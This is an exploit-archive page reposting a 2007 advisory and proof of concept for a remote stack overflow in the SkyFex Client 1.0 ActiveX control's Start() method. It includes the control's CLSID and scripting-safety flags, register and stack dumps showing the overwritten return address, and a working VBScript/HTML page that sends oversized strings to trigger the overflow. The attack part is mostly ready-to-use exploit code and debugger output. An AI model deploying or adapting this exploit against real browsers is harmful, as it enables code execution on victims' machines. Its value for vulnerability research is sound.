首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SkyFex Client 1.0 ActiveX Start() Method Remote Stack Overflow
来源:http://shinnai.altervista.org 作者:shinnai 发布时间:2007-12-29  
<pre>
<code><span style="font: 8pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
<b>SkyFex Client 1.0 "Start()" Method Remote Stack Overflow</b>
url: https://skyfex.com/

Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

<b>Technical details:
File: SkyFexClient.ocx
Ver.: 1.0.2.77
Codebase: https://skyfex.com//download/SkyFexClient.cab#Version=1,0,2,77
Marked as:
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False
KillBitSet: False</b>

<b>Registers dump:</b>
EAX 007B5A8C
ECX 0164224C
EDX 033E0024 UNICODE "DDDD..."
EBX 00000000
ESP 01735244 ASCII "EEE"
EBP 0173F414 ASCII "$A"
ESI 008A8A8C
EDI 033E0024 UNICODE "DDDD..."
EIP 02A995E5 SkyFexCl.02A995E5

<b>Stack dump:</b>
01735244   00454545  IEXPLORE.00454545
01735248   02A60045  RETURN to SkyFexCl.02A60045 from SkyFexCl.02A995C0
0173524C   43434343  urlmon.43434343
01735250   43434343  urlmon.43434343
01735254   43434343  urlmon.43434343
01735258   43434343  urlmon.43434343
0173525C   43434343  urlmon.43434343
...

'Sub start (
'     ByVal id_client  As String ,
'     ByVal ip_server  As String ,
' ByVal text_ser  As String ,
' ByVal url_page  As String ,
' ByVal bDebug  As Integer
' )

<b><font color='red'>This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.</font></b>

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------
<object classid='clsid:F84E0B64-1E86-4640-8094-5B38CEB28C1E' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   id_client = String(16676, "A")
   ip_server = String(2000, "B")
   text_ser = String(2000, "C")
   url_page = String(4539717, "D")
   bDebug = 484
      
   test.start id_client, ip_server, text_ser, url_page, bDebug
End Sub
</script>
</span></span>
</code></pre>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ZeusCMS <= 0.3 Remote Blind SQ
·Persits Software XUpload Contr
·March Networks DVR 3204 Logfil
·Macrovision Installshield isus
·XZero Community Classifieds <=
·IBM Domino Web Access Upload M
·RunCMS 1.6 Remote Blind SQL In
·Zenphoto 1.1.3 (rss.php albumn
·RunCMS 1.6 Get Admin Cookie Re
·oneSCHOOL (all versions) admin
·AuraCMS 2.2 (admin_users.php)
·Vantage Linguistics AnswerWork
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved